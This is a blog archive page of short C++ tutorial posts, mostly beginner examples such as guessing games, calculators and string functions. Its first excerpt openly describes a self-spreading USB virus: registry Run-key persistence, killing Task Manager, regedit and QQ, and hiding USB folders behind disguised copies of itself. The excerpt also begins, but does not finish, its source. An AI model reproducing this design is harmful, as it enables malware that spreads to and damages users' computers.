­
9月 2017 - 歐維斯福利設

【駭客專區】C語言簡單病毒行為(中階)

下午3:59 / BY LBT
最近無聊,來研究一些簡單的免殺技術還有傳播技術,以下是我為大家整理的C++(或C)語言的免殺技術和傳播技術的實現,這算是一支很老套簡單的病毒: 1、程式執行後將自身複製到C:\\WINDOWS\\system32\\資料夾下,並命名為vrius.exe。 2、在登陸檔HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run 下寫入鍵值,實現程式開機啟動。 3、程式定時器每秒啟發一次,如果發現:註冊表、工作管理員被打開,立即將其關閉。 4、程式每秒枚舉一次開啟的所有程式,如發現QQ進程,立即將其結束(無論是已登錄還是正在登陸)。 5、程式執行後檢測是否有可移動設備插入(隨身碟)。若隨身碟插入,會有WM_DEVICECHANGE消息產生。 如果發現有隨身碟插插入,獲取隨身碟插磁碟代號,列出隨身碟插根目錄下存在的資料夾,將這些文件夾的屬性設置為系統加隱藏屬性。此時隨身碟插中的目錄(文件夾)將全部不可見,拷貝C:\\WINDOWS\\system32\\virus.exe到U盤,程序名為U盤下文件夾的文件名加上.exe。比如你的隨身碟插本來有一個Virus資料夾,現在我將其屬性設為系統文件+隱藏。然後把C:\\WINDOWS\\system32\\virus.exe拷貝到隨身碟並將其命名為Virus.exe 一般用戶的【隱藏已知文件名的擴展名】是打著勾的。如果我們將我們的程序的圖標改成文件夾的圖標。是不會發現異常的。 當用戶打開隨身碟插,單擊“資料夾”時,就啟發了我們的程式,程式運行,自我複制。 這樣就實現了我們的“木馬”,通過U盤等可移動設備傳播。 。 接下來是程式碼的部分,我是模仿我之前朋友中過的一個病毒的行為: 注意:這個專案在建置的時候請選視窗程式(或叫Windows From),這樣才不會產生一個consale(主控台視窗)。 #include "stdafx.h" #include <windows.h> #include <Dbt.h> #include <iostream> #include"io.h" #include "tlhelp32.h" using namespace std; LRESULT CALLBACK WndProc( HWND hwnd, // handle to window UINT uMsg, // message identifier WPARAM wParam, // first message parameter LPARAM lParam // second message parameter ); void KillProcess(HWND hwnd); int APIENTRY WinMain(HINSTANCE hInstance,...

Continue Reading

【c++範例】猜亂數遊戲

清晨5:38 / BY LBT
#include <iostream> #include <cstdlib> #include <ctime> using namespace std; void game(int,int,int); int main(void) { int answer; int left=1,right=10000; srand(time(NULL)); //產生亂數 answer = rand( ) % 10000;//取餘數,產生介於1~10000之間的亂數 while(1) { int guess; cout<<"目前範圍 "<<left<<" ~ "<<right<<" ,請猜:"; cin>>guess; if(guess > right || guess < left) exit(1); if(guess == answer) break; else { if(guess > answer) right = guess; else left = guess; } } cout<<"您猜對了...

Continue Reading

【c++範例】猜數字遊戲

清晨5:37 / BY LBT
#include <iostream> using namespace std; int main() { int answer=27; //設定數字解答 int guess; cout<<"請在1~100之間猜一個數字:"; cin>>guess; if( guess==answer ) cout<<"恭喜你猜對了!"<<endl; //猜中了 else if ( guess<answer ){ //猜的數字小於解答 cout<<"猜的數字太小了"<<endl; if(answer-guess<=5)cout<<"不過很接近了!"<<endl; //和解答很接近 } else { cout<<"猜的數字太大了"<<endl; //猜的數字大於解答 if(guess-answer<=5)cout<<"不過很接近了!"<<endl; //和解答很接近 } return 0; } ...

Continue Reading

【c++範例】簡易四則運算程式

清晨5:36 / BY LBT
#include <iostream> using namespace std; int add(int,int); int sub(int,int); int mul(int,int); float divide(int,int); int main(void) { int a,b; char choice; cout<<"請輸入您的計算式:"; cin>>a>>choice>>b; switch(choice) { case '+': cout<<a<<" + "<<b<<" = "<<add(a,b); break; case '-': cout<<a<<" - "<<b<<" = "<<sub(a,b); break; case '*': cout<<a<<" * "<<b<<" = "<<mul(a,b); break; case '/': cout<<a<<" / "<<b<<" = "<<divide(a,b); break; default: break; } return 0; } int...

Continue Reading

【c++範例】整數變數運算

清晨5:36 / BY LBT
#include <iostream> using namespace std; int main() { int x=1; //宣告整數變數x,並將其初值設為1 int y=2; //宣告整數變數y,並將其初值設為2 cout<<x+y<<endl; //印出x+y的結果 return 0; } #include <iostream> using namespace std; int main() { int x=1; //宣告整數變數x,並將其初值設為1 int y=2; //宣告整數變數y,並將其初值設為2 cout<<x+y<<endl; //印出x+y的結果 return 0; } ...

Continue Reading

【c++範例】Hello World

清晨5:35 / BY LBT
#include <iostream> #include <stdlib.h> using namespace std; int main() { cout<<"Hello World!"<<endl; system("pause"); return 0; } ...

Continue Reading

【c++範例】main函式的引數使用範例

清晨5:34 / BY LBT
/*編譯成test.exe後,假設存放在: D:\cpp files\test 打開命令提示字元(按下win + R,打cmd),輸入: D:\cpp files\test\test.exe 87 */ #include <iostream> using namespace std; int main(int argc,char *argv[]) { int i; cout<<"argc = "<<argc<<endl; for(i=0;i<argc;i++) cout<<argv[i]<<endl; return 0; } /*編譯成test.exe後,假設存放在: D:\cpp files\test 打開命令提示字元(按下win + R,打cmd),輸入: D:\cpp files\test\test.exe 87 */ #include <iostream> using namespace std; int main(int argc,char *argv[]) { int i; cout<<"argc = "<<argc<<endl; for(i=0;i<argc;i++) cout<<argv[i]<<endl; return 0; } ...

Continue Reading

【c++範例】搜尋陣列元素

清晨5:34 / BY LBT
#include <iostream> #include <cstdlib> #include <ctime> #define SIZE 20 using namespace std; int search(int [ ],int,int,int); int main(void) { int i,a[SIZE],from=0,key; srand(time(NULL)); //亂數產生陣列元素值 for(i=0;i<SIZE;i++) a[i] = rand( ) % 10 + 1; cout<<"請輸入欲搜尋的值(1~10)"; cin>>key; while(from < SIZE) { int ans; ans = search(a,from,SIZE,key); if(ans == -1) { if(!from) cout<<key<<" not found\n"; break; } else { cout<<key<<" found at a["<<ans<<"] = "<<a[ans]<<endl; from =...

Continue Reading

【c++範例】指標使用範例

清晨5:33 / BY LBT
#include <iostream> using namespace std; void vset(int,int); void rset(int*,int); int main(void) { int x=0,*p; //宣告變數x及整數指標p p = &x; //取得變數x的位址(將p指向x) vset(x,1); cout<<"x = "<<x; rset(p,1); //將指標當作引數來傳遞進函式 cout<<"x = "<<x; return 0; } void vset(int x,int y) { x = y; } void rset(int *p,int y) { *p = y; //間接存取變數x } ...

Continue Reading

【c++範例】char字串比較程式

清晨5:31 / BY LBT
#include <iostream> using namespace std; int Mystrcmp(char *,char *); int main(void) { int result; char word1[ ] = "I like C"; //字串1 char word2[ ] = "This is fun"; //字串2 result = Mystrcmp(word1,word2); if(!result) cout<<"word1 equal word2\n"; else cout<<"word1 does not equal word2\n"; return 0; } int Mystrcmp(char *str1,char *str2) { int i; for(i=0;!(*(str1+i) == '\0' && *(str2+i) == '\0'); i++) if(*(str1+i) !=...

Continue Reading

【c++範例】char字串複製程式

清晨5:30 / BY LBT
#include <iostream> using namespace std; void Mystrcpy(char *,char *); int main(void) { int result; char word1[ ] = "I like C"; char word2[ ] = "This is fun"; Mystrcpy(word1,word2); cout<<"word2 = "<<word2<<endl; return 0; } void Mystrcpy(char *str1,char *str2) { int i; for(i=0;*(str1+i)!='\0';i++) *(str2+i) = *(str1+i); *(str2 + i) = '\0'; } ...

Continue Reading

【c++範例】字串位移加密程式

清晨5:29 / BY LBT
#include <iostream> #include <fstream> using namespace std; char* encode(char*); char* decode(char*); int main(void) { char ch,str[80]; cout<<"請輸入字串:"; gets(str); cout<<"您要 1)加密 2)解密 :"; cin>>ch; if(ch == '1') { cout<<"After encode : "; cout<<encode(str); } else if (ch == '2') { cout<<"After decode :"; cout<<decode(str); } else cout<<"Unknown input"; return 0; } char* encode(char *str) { char *r=str; while(*str) { *str = *str + 13;...

Continue Reading

【c++範例】從字串中去除指定文字

清晨5:29 / BY LBT
#include <iostream> #include <string.h> using namespace std; void exclude(char*,char*); int main(void) { char str1[] = "what a wonderful world!"; char str2[] = "wonderful"; //要去除的文字 exclude(str1,str2); cout<<str1<<endl; return 0; } void exclude(char *s1,char *s2) { int i, s2_len = strlen(s2); for(i=0; i<(int)strlen(s1) - s2_len; i++){ if(!strncmp(s1+i, s2, s2_len)){ strcpy(s1+i, s1+i+s2_len); i--; } } } ...

Continue Reading

【c++範例】前置定義

清晨5:20 / BY LBT
#include <iostream> #define CPU "Central Processing Unit" //定義字串 #define PI 3.14159 //定義常數 using namespace std; int main(void) { cout<<"CPU is short for "<<CPU<<endl; cout<<"π= "<<PI<<endl; return 0; } ...

Continue Reading

【c++範例】變數交換程式

清晨5:19 / BY LBT
#include <iostream> #define SWAP(x,y,t) (t = x, x = y, y = t) //定義巨集 using namespace std; int main(void) { int x=3,y=4,temp; SWAP(x,y,temp); //呼叫巨集 cout<<"x = "<<x<<" y = "<<y<<endl; return 0; } #include <iostream> #define SWAP(x,y,t) (t = x, x = y, y = t) //定義巨集 using namespace std; int main(void) { int x=3,y=4,temp; SWAP(x,y,temp); //呼叫巨集 cout<<"x = "<<x<<" y = "<<y<<endl;...

Continue Reading

【c++範例】四則運算計算機程式(使用前置處理)

清晨5:19 / BY LBT
#include <iostream> #define add(x,y) ((x)+(y)) #define minus(x,y) ((x)-(y)) #define multiply(x,y) ((x)*(y)) #define divide(x,y) ((double)(x)/(y)) using namespace std; int main(void) { int a,b; char choice; cout<<"請輸入您的計算式:"; cin>>a>>choice>>b; switch(choice) { case '+': cout<<a<<"+"<<b<<"="<<add(a,b); break; case '-': cout<<a<<"-"<<b<<"="<<minus(a,b); break; case '*': cout<<a<<"*"<<b<<"="<<multiply(a,b); break; case '/': cout<<a<<"/"<<b<<"="<<divide(a,b); break; default: break; } return 0; } ...

Continue Reading

【c++範例】整數變數宣告

清晨5:18 / BY LBT
#include <iostream> //插入標頭檔 using namespace std; int main() //main函式 { //程式區塊開始 int number; //宣告變數 number=0; cout<<number<<endl; //將變數輸出,演示變數宣告成功 return 0; } //程式區塊結束 #include <iostream> //插入標頭檔 using namespace std; int main() //main函式 { //程式區塊開始 int number; //宣告變數 number=0; cout<<number<<endl; //將變數輸出,演示變數宣告成功 return 0; } //程式區塊結束 ...

Continue Reading

【資安淺談】揭密程式在底層的運作原理

清晨6:32 / BY LBT
相信大家都知道電腦裡可以「跑」的東西叫程式吧!!!(廢話)那大家都知道任何的資料(包括程式、圖檔等...)存放在電腦底層都是0和1吧!!因為如此一來只須找到一種物質能輕易保持兩種型態就可以拿來做為電腦的晶片了,事情當然是越簡單越好嘛!因為廠商很懶...不是,是因為越簡單越好控制,也可以越做越小...哀,扯太遠了,拉回來。好,所以現在我們知道程式是 由1和0所組成...ㄟ,不對阿,我看駭都可以打一些程式碼...不用廢話,就是1跟0,我知道,一定沒人看得懂1、0阿,所以我們假設有一對資料長這樣: ...

Continue Reading